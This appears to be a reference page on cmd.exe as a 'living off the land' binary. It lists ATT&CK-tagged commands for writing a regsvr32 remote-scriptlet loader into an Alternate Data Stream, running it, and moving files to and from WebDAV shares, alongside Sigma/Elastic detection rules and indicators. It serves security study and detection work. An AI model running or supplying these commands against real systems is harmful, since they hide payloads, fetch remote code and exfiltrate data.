01 / TRADECRAFT
4 examplesCommand reference
ADS2
EXAMPLE 01T1564.004
Add content to an Alternate Data Stream (ADS).
COMMAND
cmd.exe /c echo regsvr32.exe ^/s ^/u ^/i:{REMOTEURL:.sct} ^scrobj.dll > {PATH}:payload.batEXAMPLE 02T1059.003
Execute payload.bat stored in an Alternate Data Stream (ADS).
COMMAND
cmd.exe - < {PATH}:payload.batDownload1
EXAMPLE 01T1105
Downloads a specified file from a WebDAV server to the target file.
COMMAND
type {PATH_SMB} > {PATH_ABSOLUTE}Upload1
EXAMPLE 01T1048.003
Uploads a specified file to a WebDAV server.
COMMAND
type {PATH_ABSOLUTE} > {PATH_SMB}02 / ON DISK
Known paths
C:\Windows\System32\cmd.exeC:\Windows\SysWOW64\cmd.exe03 / DEFENSIVE INTELLIGENCE
3 resourcesDetection & indicators
- Sigmaproc_creation_win_susp_alternate_data_streams.ymlgithub.com
- Elasticdefense_evasion_unusual_ads_file_creation.tomlgithub.com
- Elasticdefense_evasion_unusual_dir_ads.tomlgithub.com
Indicators & detection notes
- IOC
cmd.exe executing files from alternate data streams.
- IOC
cmd.exe creating/modifying file contents in an alternate data stream.
FURTHER READING
Research & resources
COMMUNITY RESEARCH
Acknowledgements
r0lan@yeyint_mth
Mr.0range@mr_0rng